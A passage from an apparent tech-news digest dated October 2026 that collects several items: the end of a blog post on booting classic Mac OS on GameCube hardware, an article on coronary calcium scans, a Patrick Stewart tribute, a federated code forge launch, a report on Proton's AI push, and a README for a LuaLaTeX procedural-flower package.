I still saw a blinking floppy though, some debugging showed me what was being rejected, a PowerPC function StartLib!GetStartupDevice was being called to get the boot device, and it made some assumptions of both the device tree and that there was some kind of built in SCSI device that needed separate handling. The first one was simple enough (fix the device tree in my driver’s initialisation code), the second one was more interesting in that I had to grovel into internal structures to fix an index in 3 different places (including the device tree) to ensure it was non-zero and so the correct code path would be executed.

With this done I saw a happy Mac icon for the first time, but then got rejected by the HFS boot sector (something errored and it returned). This turned out to be a bug in my own driver: I was debugging in dolphin with a hacked up EXI-IDE device; reading and writing data in PIO mode for IDE devices deals in 16-bit words, and I didn’t expect my code to get passed a completely unaligned odd buffer address (low 4 bits equal to 1), so I had to modify my low level driver to not even attempt EXI DMA for such an address. The bug manifested as a byte effectively failing to be written out, with remaining data getting offset by one byte; at least this happened when reading the header of a resource fork, and what failed was the validity checks for this data, making it much easier to debug (I ended up dumping RAM and comparing with the expected data from the disk image I was using).

After this, Mac OS 9.2.2 started to boot in my hacked up Dolphin tree, very slowly. It took an hour before it finally crashed, and then I tried 7.6, which also crashed, but earlier. I realised that it was probably crashing trying to load MacsBug, removed it, and after about 20 minutes I was staring at the desktop.

Mac OS 7.6 booted in my hacked up Dolphin tree

The following morning I tested on real hardware (using SD over SPI). This basically booted 7.6 within 40 seconds, and this was supposed to be the slowest access mode for an SD card! My previous experience was writing an NT driver for SD over SPI though, and perhaps that is more of an outlier. See this video installing NT on a GameCube using such a block device, and note that the NT text setup file copy is sped up 64 times – it’s VERY slow. The difference here is that I get to hog the whole CPU when performing a transfer – in fact there’s no other option, if I return a value specifying the transfer is asynchronous, the caller proceeds to busy-wait for interrupts in a loop waiting for the transfer to complete (although the busy-wait does check for all controllers present on the system).

Later on I added some hacked up crash handler so I could try to debug what was going on with MacsBug… it turned out to be an emulation error, no such crash occured when loading MacsBug on real hardware. I then found out the reason Mac OS 9.2.2 was crashing on boot was because of Open Transport, removing it from the Extensions folder caused it to boot perfectly fine. My guess is that Open Transport can’t handle no serial or network device being present at all.

As I mentioned, my port is still nowhere near release. Next up will be bringing up the Wii’s SD controller, then the USB controller (I’ve already done some reversing work related to that, I know there’s a vibecoded EHCI driver now, that’ll probably only aid in reversing work really), then getting the port brought up on the Wii U. At some point I want to play around with patches for blowing through at least some of the RAM barriers too.

The Daily Front Page 10 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — Preventive Medicine
article

Medicare Will Pay $50k for Your Heart Attack. It Should Pay $100 to Prevent It

by brandonb·▲ 292 points·272 comments·medpagetoday.com ↗
a golden age of medical science, yet in a dark age of healthcare delivery

— The guidelines have finally caught up to the evidence supporting coronary artery calcium scans

A photo of a mature man lying in a CT scanner.

We are currently in a "golden age of medical science," yet in a "dark age of healthcare delivery." An important illustration is the diagnosis and treatment of America's number one cause of death and disability, coronary artery disease. More than 800,000 Americans suffer a heart attack each year. The great majority of these events are preventable. The coronary artery calcium score (CAC) is a simple 10-minute scan that can identify the presence and amount of coronary atherosclerosis many years before it causes a heart attack. It costs about $100 and uses a fraction of the radiation of a standard chest CT.

In March 2026, after more than three decades of accumulated evidence, the American College of Cardiology (ACC) and American Heart Association (AHA) finally gave CAC a central role in their national guidelines for the prevention of coronary artery disease. The CAC scan, which detects calcified plaque in the arteries, is recommended for adults with borderline or intermediate risk of coronary disease for whom the decision to start preventive therapy such as statin drugs remains uncertain.

For decades, doctors have relied on risk calculators built around age, sex, serum cholesterol, diabetes status, blood pressure, and smoking to estimate who might have a heart attack. The calculators estimate probability, not the actual presence of coronary atherosclerosis. In contrast, a CAC scan detects the disease itself. This is important because a patient with a borderline or low cholesterol may already have extensive plaque, while another with a high cholesterol may have none. A calcium score of zero re-classifies risk downward and thereby can avoid unnecessary pharmacologic treatment, such as statins. A score above 100 identifies patients who may benefit from pharmacologic and aggressive lifestyle intervention.

An excellent illustration of the role of CAC scanning is Rob*, a 52-year-old patient we saw recently. He exercises regularly, eats well, and has borderline high cholesterol. He has a family history of heart disease but no other known cardiac risk factors. The standard risk calculator places him in a low risk category, and he would prefer to defer treatment.

His CAC score, however, tells a different story. It is 220, indicating a substantial atherosclerotic plaque burden for a man his age. Genetics account for roughly half of cardiovascular risk, but the risk calculators do not include genetics. The scan demonstrated that drug treatment gives Rob his best chance of preventing a future heart attack.

Despite mountains of evidence proving its superiority over conventional risk factors for predicting heart attacks, CAC scanning has been included only peripherally in national guidelines for the past 35 years. Why?

Part of the delay is structural. Clinical decision support tools were built to modify population-average risk factors, not to incorporate individualized imaging. Guideline committees move cautiously, as they should, and prevention is harder to standardize than intervention. Cardiologists and primary care doctors, constrained by what insurers will cover, are left offering the test mainly to patients who can pay cash out of pocket.

With the updated ACC/AHA guideline, heart attack prevention is finally aligning around a simple principle: when possible, measure the disease.

Artificial intelligence (AI) is also changing the economics of prevention. Millions of Americans already undergo chest CT scans for other reasons, yet the cardiovascular information visible on those scans is often ignored. AI can identify coronary and vascular calcification opportunistically, standardize reporting, and flag patients who should receive formal preventive evaluation. That's especially important for patients least able to pay cash for elective testing.

AI-CAC is now being used to measure soft plaque, an important precursor to hard plaque seen on traditional calcium scores. Used responsibly, AI-enabled CAC analysis could help move heart disease prevention to the population health level.

Heart attacks are largely preventable, and we have had the means to find the disease and treat it in time for more than a generation. What we have lacked is a payment system that spends $100 to avoid a $50,000 emergency.

The story of CAC isn't so unique. It is the story of how a low-cost, low-risk, well-studied tool can sit at the edge of clinical practice for decades because the systems around it -- the guidelines, the reimbursement codes, the habits of practice -- were not built to absorb it.

The evidence has been strong for years, and the guidelines have finally caught up.

*Patient's name changed for confidentiality.

The Daily Front Page 11 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — The Measure of a Man
article

Through Captain Jean-Luc Picard, Patrick Stewart taught us the measure of a man

by apress·▲ 292 points·163 comments·bostonglobe.com ↗
a little bit of the future left with him

Patrick Stewart as Captain Jean-Luc Picard.

Patrick Stewart as Captain Jean-Luc Picard. GLOBE PHOTO/ELLIOTT MARKS

Patrick Stewart died yesterday, and for people of a certain age, a little bit of the future left with him.

For a certain, less-than-new generation of fans of Stewart’s 1990s television work on Star Trek: The Next Generation, there’s a sorrow that the man behind the larger-than-life Captain Jean-Luc Picard would be lost to a very real, very heartbreaking condition, Alzheimer’s and Lewy Body Dementia, according to his family.

Stewart, of course, was far more than Picard. He anchored the X-Men film franchise and was for decades a dynamo on stage. But there are reasons Captain Picard, commander of the Starship Enterprise, is the character he’s best known for. Over The Next Generation’s seven seasons, four movies, and a revival show —Star Trek: Picard — that ended just three years ago, he portrayed a model of what mature, responsible adulthood could look like for a generation of boys who were bookish, imaginitive, and maybe a little nerdy.

Two of the Globe’s dyed-in-the-wool Star Trek fans share what Captain Picard, and Patrick Stewart, meant to them.

John Hilliard: For a younger, and likely wiser generation, stanning a bald middle-aged English actor who played a French guy on a spaceship may be a questionable life choice. But here is the thing: What made Stewart resonate as Picard was how he rooted the character, as in the best of fairy tales, in emotional truth.

Jason Laughlin: I agree. Picard seemed as real as the complex characters that would start to populate prestige TV a decade later. But unlike anti-heroes such as Tony Soprano and Walter White, Stewart gave us a nuanced character we actually admired. He loved his job. He had passions like archaeology, Shakespeare, and music. He held to his ideals even when it meant terrible personal sacrifice.

In the mess of American politics over the past 20 years, there have been so many times I’ve longed for a Picard-style speech that makes right and wrong crystal clear.

“You know, there are some words I’ve known since I was a schoolboy,” Picard said when a Joe McCarthy-esque admiral began witch hunting on the Enterprise. “With the first link, the chain is forged. The first speech censured, the first thought forbidden, the first freedom denied, chains us all irrevocably.”

His character’s moral clarity, and Stewart’s conviction in delivering it, put an end to the admiral’s reign of terror. If only real world oppression could be dispelled so easily.

For decades, Patrick Stewart was a star of stage and screen, but no role defined him quite like the noble space captain Jean-Luc Picard of Star Trek: The Next Generation.

For decades, Patrick Stewart was a star of stage and screen, but no role defined him quite like the noble space captain Jean-Luc Picard of Star Trek: The Next Generation.STEVE FORREST/NYT

JH: Full disclosure: Star Trek is a show, which Youtube will prove, that leaned hard on latex foreheads and sometimes-flimsy production to tell stories of intergalactic scallywags known as Klingons and Borg, Romulans and Cardassians. Like free office coffee, it’s an acquired taste.

JL: One of my friends has a theory that if you didn’t get into Star Trek before you’re 18 years old, you’re never really going to get it.

To me, what’s so accessible, and radical, about Stewart, though, was his ability to convincingly portray vulnerability while still maintaining Picard as a credible leader.

One episode saw Picard return to his home village in France to heal from a traumatic assault.

At the conclusion, Stewart surrenders the control that was his character’s hallmark and falls into the mud, sobbing, over his failure to fight off his assailants. It’s a raw, real, depiction of a broken man. Stewart shifts from total collapse into slow recovery by reconciling with his brother. Grief is replaced by warmth, and Stewart sells it perfectly.

JH: Totally. He knew how to make that show work for him.

That’s despite an episode where he faces off against a giant, talking tar pit. Or the one where he sells eating a sandwich in the sci-fi version of the family station wagon. Or when he chugs Ecto Cooler (remember Ecto Cooler?) with a depressed Scotty, from the original Star Trek, and shares stories about first jobs and first girlfriends. He even shows up in tights, as discount Errol Flynn Robin Hood.

As a kid raised on television before there was an Internet, Stewart plugged into a world where figures like Mr. Rogers and Bob Ross presented a model for manhood that was gentle, patient, and a teacher. Stewart played Picard in a similar vein, basically everyone’s Space Dad.

Even as recently as last month, Captain Jean-Luc Picard appeared on Star Trek Day in the London Underground.

Even as recently as last month, Captain Jean-Luc Picard appeared on Star Trek Day in the London Underground.Tim P. Whitby/Getty Images for Paramount+

JL: This is embarrassing, but the first TV episode that moved me to tears was from The Next Generation.

“The Inner Light” has Picard experience an entire lifetime as a different person on an alien planet. Again, the actor found his character’s humanity through slow revelation that perhaps a life with a wife and children is just as big an adventure as exploring space.

“Seize the time,” Picard says to his daughter in this other life. “Live now! Make now always the most precious time. Now will never come again.”

At the end of the episode, it’s revealed the decades he spent in that other life were an illusion he experienced in less than an hour. The only tangible thing he has from that world is a flute he learned to play in that other life. In the final moments, Picard plays it again, and without saying a word Stewart plays absolute heartbreak.

Seeing a strong, confident leader who was able to express regrets, sadness, and heartache left a lasting impression.

Well into his 80s, Patrick Stewart was playing the character he became best known for.

Well into his 80s, Patrick Stewart was playing the character he became best known for.Richard Shotwell/AP Photo/Richard Shotwell

JH: Imagine you’re a kid watching TV, and you feel kind of alone, unsure of yourself. And then there’s Stewart, in full reassuring teaching mode. It’s the episode where Wil Wheaton’s character is struggling with tremendous guilt as he tries to hide his complicity in the death of a friend. Stewart, as Picard, is on to him.

Wheaton’s character, Wesley Crusher, is as close to a son as Picard will likely ever have, and Stewart leans into Picard’s grief, grief from knowing that doing the right thing will likely destroy the younger man’s future.

“A lie of omission is still a lie,” Picard tells Wheaton. Stewart’s voice cracks as Picard remembers meeting Wheaton’s character for the first time. He sat in Picard’s chair. He knew every button on the ship, every function. He was annoyed, Picard growls.

Stewart pulls back. Picard never had any doubt that Crusher would grow up into an outstanding officer. Until that moment.

“The first duty of every Starfleet officer is to the truth, whether it’s scientific truth, or historical truth, or personal truth,” says Picard, who then delivers the gut punch. “If you can’t find it within yourself to stand up and tell the truth about what happened, you don’t deserve to wear that uniform.”

It doesn’t matter if you know what a Starfleet is, or if someone can be an officer of one. Stewart always finds a way to connect his audience to the emotional truth.

When you’re a kid, you’re looking for lessons, even if you don’t want to admit it. Stewart, as a master of navigating the human heart, understood the moment and his character. Ultimately, Picard was a teacher, and a guide, not just for the characters with whom he shared a scene, but for the audience as well.

JL: Stewart was 47 when he began playing Picard. I’m just a year older than him now, and the very best of his episodes have taken on new resonance. Family tensions are real and devastating. Professional choices have lasting consequences. The melancholy of middle age lingers on the periphery of every happy moment.

Patrick Stewart’s Picard still serves as a role model. He showed how to face those moments with dignity, optimism, and a belief in the enduring capacity to be our best selves.

The Daily Front Page 12 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — After the Centralized Forge
article

The federated code forge

by zlliang·▲ 274 points·84 comments·tangled.org ↗
Forges offered convenience in exchange for centralisation.

The federated code forge

For most of the past two decades, the code forge has been where projects live: where code is hosted, where changes are reviewed, and where contributors find each other. Forges offered convenience in exchange for centralisation.

But the centralised forge is crumbling. Relying on someone else for uptime, for features, and to be a good steward of your code hasn’t played out well. What has stood the test of time is email: Git to move the code, and email — an open protocol — to talk about it. At the cost of user experience, however.

Tangled aims to give you the best of both: the longevity of an open protocol, with the convenience and polish of a proper forge.

It’s the first truly federated code forge — you can host code on your own servers and still collaborate seamlessly with others. Our approach is pragmatic: self-host just the parts you want, like Git hosting or CI runners, or all of it, including the API server and UI. Whatever you choose, you can still talk to everyone else.

Owning your infrastructure also means you can hack on, extend and customise your forge as you see fit. Because Tangled is built on the AT Protocol, you can build your own extensions, subscribe to the firehose, or even write entirely custom knots, like this one that runs on Cloudflare Workers and uses their Artifacts product for git storage. Or an entirely custom spindle such as mitchellh.com/tack. Go even further and host our ultralight API server and build your own custom forge.

Agents have made building such hyper-personalized software trivial, and especially so when software is designed with hackability in mind from the get-go. Tangled is incredibly agent friendly.

The future of software engineering may be a moving target, but our bets on open protocols and developer agency give us the agility to move with it, and to become your code forge for the next decade.

Product updates

A fresh look!

The obvious big one: with this release, Tangled has a whole new look. We’ve redone the UI on top of our new architecture (described further below), in Svelte. Things should now be quicker, visually consistent and prettier! The keen eyed of you might’ve also spotted that we’ve swapped out Inter for Timeless Sans.

A bobbin near you

Until now, Tangled’s web UI and backend were a single Go monolith called the appview. The appview service handled AT Protocol indexing, caching, off-protocol data and UI rendering using html/template + htmx. It ran on a single SQLite database on one medium-sized server in Sweden.

This was great as long as you were ~50–100 ms away from Sweden, but most of our users aren’t! We rearchitected: we built a new standalone frontend app in Svelte, deployed at the edge. It is populated by our new diskless, entirely in-memory indexer service written in Rust: bobbin. Bobbins are deployed globally in over 11+ regions, ensuring users around the world get the best API and UI performance.

The astute reader might’ve noticed: bobbin is purely read-only and only deals with AT Protocol data. What of the rest? That functionality (and more) has been delegated to a new set of supporting services.

The new data model and repo-owned data

First, the data model itself: we have a new set of lexicons, and everything now lives under org.tangled.*, replacing the old sh.tangled.* records.

Knot2 is our aptly named, second implementation of the knot server, this time rewritten in Rust. Knot2 bakes a fully custom Git server, and also bundles in an SSH server in the same binary.

With knot2, we’ve also changed where some of that data lives. Issues, pull requests, comments, reactions and labels are now stored on the knot, right next to the code, as collaborative objects (COBs). A COB is just a chain of Git objects in the repo itself. Collaborators, knot members and the blocklist are also stored the same way.

In that sense, knots now behave a lot like a PDS: they hold signed records, full history included, for everything that belongs to a repo and much like a PDS, these records are synced via the standard AT Protocol firehose.

But why? A project’s issues and pull requests are as much a part of it as its code, so they should live with it, wherever you choose to host it. This gives your project maximum portability.

If the knot writes your issues and comments, what stops it from putting words in your mouth? Attestations. Every time you create or edit a record on a knot, the web app also writes an org.tangled.graph.attestation record to your own PDS, pointing at that exact version of the record and the COB change behind it. Two-way verification!

Self-hosters will have to upgrade their knots to the v1.20.0 by following the upgrade guide.

Organizations

Organization accounts are here! An Organization on Tangled is a real AT Protocol account, with its own DID and handle, hosted on a Tranquil PDS instance. They’re passwordless, delegated accounts: you create one from the New Organization page, and you get <name>.tngl.sh with yourself as its owner. Owners can invite members, and anyone in the Organization can act as it when creating or forking repositories. Like any other account, you can swap the handle out for a domain you own. If you’ve been running a regular account as a stand-in “org”, hang tight — we’re working on a way to move those over. Read more in the docs.

Stacked PRs for everyone

Our PR flow has been overhauled. The new flow gives everyone, regardless of whether you use Jujutsu or just vanilla Git, the ability to submit and review stacked PRs. If you’re using Git, you now get the ability to interdiff between versions (previously called rounds). JJ users get to interdiff between individual changes as well.

Launch weeks ahead

This isn’t all. We’re staggering this launch across the next few weeks. Up next are private repos, a CLI, SDKs for different languages and skills for your agent.

Until then, enjoy every part of this launch equally.

Your code, your network.
Come build with us on Tangled.

The Daily Front Page 13 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — The Proton Retreat
article

Proton's CEO Cancels AI 'Re-Interviews'

by cdrnsf·▲ 272 points·226 comments·404media.co ↗
cancelled a series of nearly company-wide ‘re-interviews’

The move came after 404 Media published an investigation into how Proton CEO Andy Yen was aggressively pushing AI across Proton despite security concerns and the culture of fear he has created.

Proton’s CEO Cancels AI ‘Re-Interviews’

Photo by Sam Barnes/Web Summit via Sportsfile via Wikimedia Commons / Collage via 404 Media.

On Friday, Andy Yen, the CEO of Proton, cancelled a series of nearly company-wide ‘re-interviews’ that would have forced employees to explain how they are using AI, with the clear intention that they may be fired if not using it enough in the eyes of Proton leadership, according to six current Proton employees and audio of an around two hour all-hands meeting obtained by 404 Media.

The move came after 404 Media published an investigation on Thursday, which showed how Yen was aggressively pushing AI across Proton, in some cases despite security concerns from employees. In one exchange, an employee in the company’s security Slack channel urged Proton to at least take a few days to pentest newly written code before pushing it live. “That’s bullshit and loser thinking. Of course it’s possible to be fast and secure,” Yen wrote in the channel at the end of August. “Stop thinking always of how to be slower, and focus more on how to be faster.” Yen added, “stop lovingly handcrafting all our code and use AI more.”

The re-interview cancellations likely don’t address the concerns of many Proton users, who are more focused on Proton’s deprioritization of security; many Proton users have blasted the company’s leadership on social media over the last 24 hours and explicitly called for Yen to resign.

The investigation was based on conversations with eight current and one former Proton employees, Slack chats, meeting audio, and an AI manifesto written by the company’s CTO Bart Butler. It painted a picture of Proton that is very different to the public’s perception of a company carefully protecting privacy. Instead, Proton is barreling ahead with AI in large part to achieve more annual revenue. The investigation also found a culture of fear across Proton, where employees have genuine concerns about security or being asked to develop security-focused products with AI, but feel unable to voice them because Yen mocks or insults employees in front of everyone else.

“I don’t think he will change anything, and I think the only reason we had this meeting is because he has a rebellion on his hands,” one employee told 404 Media after the all-hands meeting on Friday.

Near the start of the meeting, Yen said, “I want to acknowledge myself, personally, that there was a communication failure on my part and there are many things that probably could and should have been communicated differently, and this is something that I’ll have to reflect on and improve over time. So I will do that.”

“So what does that mean going forward? Going forward, I'm still going to push,” he added.

Yen said leadership gathered in the last couple of days to talk about the re-interviews, and spoke to the Proton board too. “They’re closely monitoring the situation,” Yen said. (Proton is owned by the Proton Foundation, whose board of trustees includes Yen, Sir Tim Berners Lee, Prof. Carissa Veliz, Dingchao Lu, and Antonio Gambardella.) 

After those discussions with leadership and the board, “We’ve decided to actually cancel the re-interviews,” Yen said. “Why? Well, I think actually in a, let’s say, unintentional way, they have actually already served their purpose.” As in, employees are now talking and learning about AI.

💡

Do you know anything else about Proton? I would love to hear from you. Using a non-work device, you can message me securely on Signal at joseph.404 or send me an email at joseph@404media.co.

Yen also mentioned “org changes,” and said that part of this is “redistributing talent across teams.” He said that the reorganization will happen next month, “but there will be no loss of jobs from AI.” 

Later in the call, Butler said Yen “needs to, and he has committed to, doing better” regarding how he communicates with his employees. “Using AI effectively and pragmatically does not mean that we’ve given up on security, or good architecture, or sound software engineering principles,” he added.

“We fucked up, we know we fucked up,” Butler later said in response to an employee’s comments in the meeting.

“Your old job is gone,” Butler’s AI manifesto, posted to Slack, told engineers, 404 Media reported on Thursday. He wrote that not embracing AI posed an “existential threat to the success of the mission itself.”

Reactions to the re-interview cancellations were split across the Proton employees 404 Media spoke to. One said, “Some are happy as it’s progress. Others believe that this won’t change anything because there isn’t any consequence for Andy [Yen].” The employee added they “would have preferred real accountability from the leadership team.” They said they felt not much could have happened due to Yen having the majority of Proton’s shares.

Another employee said, after Proton canceled the re-interviews, “They said in the next breath they want to continue pushing AI and that the things that were to be measured in the re-interviews would become a component of the performance reviews.”

“They have said clearly the direction had not changed. As a Proton user that doesn’t reassure me,” the employee said. “As an employee, the re-interviews weren’t cancelled until this became public despite concerns raised by many of us. I think it goes beyond communication issues and growing pains.”

“Right now, everything seems consistent with it being damage control,” they said. 

Another employee said they were “mostly happy with how this was addressed including by Andy [Yen].”

Proton did not respond to a request for comment.

After 404 Media published the investigation on Thursday, Yen took to Reddit. Users downvoted his response more than 1,200 times. Many Proton users on social media said they were cancelling their paid Proton plans.

The Daily Front Page 14 of 29
Friday, October 30, 2026 The Daily Front No. #261030 — Printed Flowers
repository

Florilegium: Procedural Flowers in LaTeX

by nanna·▲ 255 points·45 comments·github.com ↗
★ 813⑂ 20 forks Lua

Procedurally generated Delft-blue floral page margins for LuaLaTeX, drawn in Lua

Origin

The Reddit post asked how to make flowers like these in LaTeX. I don't know how the original was made, and this project doesn't try to reproduce it. It is one possible way, and the way I did it: hand-authored primitives with randomized parameters, painted in Lua, placed by a procedural layout whose "fill the unused space" part borrows a 1998 idea from the ornament literature. It gets a similar look.

What it is

Procedurally generated Delft-blue floral page margins for LaTeX. No images, no imported paths, no external assets: every petal, leaf and stem is a parametric curve computed in Lua while the page is being written, painted like a watercolor, and written straight into the PDF. Every page gets its own garden.

six seeds

Six seeds of the grown composition. Same code, different seed — and the garden fills whatever space the text leaves free.

Two documents share one package, and two more (showcase.tex, spread.tex) show what else it does:

florilegium.tex florilegium-grow.tex composition authored: stems, leaves and flowers placed by hand, every parameter sampled grown: a plant grown to fit the page by a greedy space-filling loop adapts to nothing (tuned for A4, 68 mm margin) the page layout, and the free space below the text on the last page preview authored grown

Both PDFs are self-describing: the body text is the write-up of how the margin is drawn.

last page of the grown document

Last page of the grown document: the text ends early, so branches arch into the space below.

detail

300 dpi crop. Mottled washes with white streaks lifted out, lobed leaves with white veins, forget-me-not cymes, a pale ghost flower behind the stems.

Watch it grow

as it grows with the free space it fills seed 6 growing seed 6 growing, with the free discs marked

Seed 6, from an empty margin to the finished page. The stems rise first, leaves open as the tips pass their nodes, and each stem ends in a flower. Then the greedy loop takes over: on the right, each dashed circle is the largest free disc it found, just before a branch grows to it. Big holes come first and slowly, small ones last and fast. The butterflies and bees fly in, the bird glides onto its twig, and the snail crawls up its stem until the last frame, which is exactly the page this seed always gives.

The growth is recorded once, while the page is laid out: each stem is also drawn as prefixes of increasing length and each motif at a few smaller scales, replaying the same random draws. A frame then writes the pieces whose time has come, in their original painting order. make grow-6 renders one seed this way (build/grow-6.gif and .mp4, about 45 seconds); add EXPLAIN=1 for the dashed circles.

The margin reads the text

the three pages of showcase.tex

showcase.tex, "A year in the margin": spring on the first page, summer, autumn on the last. Each section describes the feature it shows.

The grown margin can respond to the document around it:

  • Initials. \florilegiuminitial[5]{E} sets the first letter of a paragraph in a tile five lines tall. The outline of the letter is read from an OpenType font (Latin Modern Bold by default) and painted like a petal; a vine passes over and under its strokes in turn, with leaves where they fit and flowers in the gaps, often in the letter's counters. The letter is also typeset invisibly, so the paragraph still copies as "Every".
  • Flowers at the headings. With the option sections, every numbered section and subsection gets a flower in the margin beside its heading, painted in the copper of the accents, the way headings were once picked out in red.
  • A flower where the text asks. \florilegiumbloom puts a flower beside the line it stands in; \florilegiumbloom[lily] asks for any motif of the garden. The marks are found in the page box when the page is shipped out, so this works in one run.
  • Seasons. With the option aging, the garden ages from spring on the first page (mostly in bud, small pale leaves) to autumn on the last (seed heads, falling petals, a few copper leaves). It needs two runs, for the page count; \florilegiumage{0.8} sets an age by hand instead.

four initials

one seed through the seasons

One seed in spring, early summer, late summer and autumn. The seasons change what grows, not where.

Visitors

detail with a bird and a snail

Most pages have visitors: a butterfly or two and bees in the open spaces, a snail crawling up one of the main stems, and on about one page in five a bird perched on a twig of its own. They come from a random stream of their own, so a page without them is exactly the page it would have been; the option novisitors leaves them out.

Any ink

one seed in six inks

The whole palette comes from one color, ink: Delft blue, sepia, green, crimson, violet, teal. The ramp from the darkest stroke to the palest wash is computed from that hue in OKLCH, so the light end never turns gray.

Themes

seed 6 as flora, geometric and math

Seed 6 three times: as it always grew, with theme=geometric, and with theme=math.

The growth loop never knew what it was drawing. It reads a table of motifs (the size of the disc each one takes, a weight, a function that draws it) and calls every primitive by name. A theme is one Lua file, theme-<name>.lua, that replaces some of those primitives and may add rows to the table, or brings a composition of its own.

theme=geometric is the same plant cut from flat shapes (theme-geometric.lua). It grows exactly as the flowers do, and only the drawing changes: the stems run straight between their nodes, the leaves are kites and toothed polygons folded into a light and a dark facet with straight white veins, the flowers are rosettes of rhombi or layered star polygons, the tendrils square spirals, the bird and the butterfly low-poly. The colors are flat tones of the ink, with no wash; crystals (Platonic solids, flat-shaded like cut stones) grow among the flowers. A page is about a tenth of the size of a flora page.

a page with the geometric theme

the primitives of the geometric theme

theme=math is no plant at all (theme-math.lua, drawing from figures.lua): mathematics cascading down the margin and across the bottom of the page, overlapping a little so it blends. A large figure sits in the corner where the column meets the bottom (an Apollonian gasket, a deep Koch snowflake, Vogel's disc, a polyhedron). Down the column run one or two families, figures that change as they go, joined by small copper arrows: the Koch snowflake gaining a level, a polygon gaining sides on its way to the circle, the cube truncating into the octahedron, chords k → mk mod n turning from a cardioid into a nephroid, Vogel's disc packing evenly only at the golden angle. Equations that hold (e^{iπ} + 1 = 0, V − E + F = 2, ...) run along the bottom and under the text on the last page, and everything else, largest hole first, is figures (Platonic solids, knots, Hilbert curves, Lissajous curves, hypotrochoids, Maurer roses, the Petersen graph, ...), letters, numerals and symbols set by TeX at many sizes and a slight tilt, and dots. It fills whatever space the page leaves, like the garden; density sets how much there is.

a page with the math theme

\usepackage[grown,theme=geometric]{florilegium}   % or theme=math; the whole document
\florilegiumtheme{math}                            % or from the page this stands on

A document without a theme comes out byte for byte as it did before themes existed.

Less in the margin

seed 6 at density 1, 0.5, 0.2 and 0.05, and at intensity 0.5

Seed 6 at density=1, 0.5, 0.2 and 0.05, and at intensity=0.5.

A full garden is a lot to have beside an equation. Two options turn it down, with any theme:

  • density=0.4 grows less: the loop stops at larger holes, keeps more paper around each motif, and hangs fewer leaves and fillers. Low on the dial the plant itself thins out: two main stems, then one, no footer; at 0.05 it is a single vine with its flower, a couple of leaves and one or two sprays. With the math theme it means fewer things.
  • intensity=0.5 paints the whole margin paler, the same way the ghost flowers behind the garden are painted. It changes only the color, not the detail.
\usepackage[grown,density=0.4,intensity=0.6]{florilegium}

At the defaults (1 and 1) every page is exactly the page it was before.

One ornament in the text

\florilegiumornament

Or no margin at all: \florilegiumornament{leaf} sets one primitive in the line, in a box the size of a letter, for example to open a paragraph. Each ornament in a document gets a shape of its own and keeps it from one build to the next; seed=random draws a new one every time the PDF is built, and seed=7 a fixed one.

\usepackage[nomargin]{florilegium}       % ornaments only, no garden in the margin
\florilegiumornament{leaf} A paragraph that opens with a leaf.
\florilegiumornament[size=2.4em, ink=5B2A1F, angle=30, seed=random]{flower}

Any primitive works (leaf, leaflet, flower, blossom, bud, bell, lily, cyme, umbel, butterfly, bee, bird, hedera, sparkle, ...), and so do the current theme's (crystal with geometric; knot, polyhedron, koch, ... with math).

Both sides of the page

pages 2 and 3 of spread.tex

spread.tex, pages 2 and 3: a two-sided document with a wide outer margin. The garden grows on the left of the left-hand page and, mirrored, on the right of the right-hand page. The last page also switches to the geometric theme.

The garden grows in whichever side margin is wider, so there is nothing to set. In a two-sided document (twoside with a wide outer margin) it changes sides with the page. A one-sided document with a wide right margin gets it on the right of every page. A mirrored page is laid out as if seen in a mirror, then drawn through a reflection: the last transform that every point already passes through. It is exactly the reflection of the garden the same seed would grow on the left.

In PostScript

the two pages of postscript/florilegium.ps, seed 7

postscript/florilegium.ps: the grown margin in pure PostScript, one self-contained file. Ghostscript, or a printer, computes every petal while it interprets the page, and the two pages of text explain how.

The drawing core, every primitive and the growth loop are ported from ink.lua, flora.lua and grow.lua, procedure for procedure. It needs no TeX and no other file:

gs -dALLOWPSTRANSPARENCY -sDEVICE=pdfwrite -dSeed=7 -o garden.pdf postscript/florilegium.ps
make postscript             # the same -> build/postscript-7.pdf; SEED=12 for another garden

-dSeed=N picks the garden; without it the clock picks one, so every print is new. -dAge=0 to 1 sets the season, and -dNoVisitors leaves out the butterflies, bees, snail and bird. Two pages take about 2.5 seconds. Much of the Lua maps directly: PostScript's own transformation matrix places each primitive (translate, rotate, scale), paths and Bézier curves are native, and procedures built at run time stand in for Lua's closures (a petal's half-width is a procedure handed to the outline builder). Four things don't map:

  • Layers. The garden grows in one order but is painted back to front, so every fill and stroke is captured with pathforall into a list per layer, and the lists are played back at the end.
  • Transparency. PostScript has none. Ghostscript provides it with -dALLOWPSTRANSPARENCY. Without that flag, or on a printer, each translucent fill is mixed with the color it is likely to land on and painted opaque. The result is flatter, but it's the same garden.
  • Randomness. The generator is Park-Miller in 32-bit integer arithmetic, and PostScript reals are single precision, so seed 7 here is a different garden from seed 7 in LaTeX.
  • Text. The file typesets its own two pages in Times. It knows where its headings are and where its text ends, so the copper flowers at the headings and the garden under the last line work as they do in LaTeX. It has no initials, animation, themes, mirrored pages, density or intensity, ornaments in the text, or authored composition.

two prints of florilegium.ps, two different gardens

The file sent twice to an Epson inkjet with lp postscript/florilegium.ps, with no seed given. The computer's print system runs the program again for each job, so each print takes its seed from the clock and grows a different garden. A printer gets the opaque version, as it has no transparency.

Build

LuaLaTeX, one pass, about a second a page (two passes for showcase.tex, whose seasons need the page count).

make                        # the four PDFs
make seed-7                 # one page from seed 7 -> build/seed-7.pdf
make gallery                # gallery/seeds.png + seeds.gif, inks.png, seasons.png, themes.png, dials.png (python3, Pillow, pdftoppm)
make grow-6                 # growth animation of seed 6 -> build/grow-6.gif + .mp4 (ffmpeg)
make grow-6 EXPLAIN=1       # the same with the free discs marked -> build/grow-6-explain.*

No TeX installed? Build the image once and run everything in it:

docker build -t florilegium-tex tools
make RUN=tools/in-docker

Or paste florilegium.sty, the nine .lua files and one of the .tex files into an Overleaf project and set the compiler to LuaLaTeX.

Use it in your own document:

\usepackage[grown]{florilegium}      % or plain \usepackage{florilegium} for the authored one
% options for the grown one: sections (flowers at the headings), aging (two runs),
% novisitors (no butterflies, bees, snails or birds); for both: theme=geometric or theme=math,
% density=0.4 (grown only), intensity=0.6
% two-sided? nothing to set: the garden grows in the wider side margin
\definecolor{ink}{HTML}{5B2A1F}      % optional: the hue of the whole palette (this is sepia)
\definecolor{accent}{HTML}{B4662F}   % optional: the copper of the hairlines
...
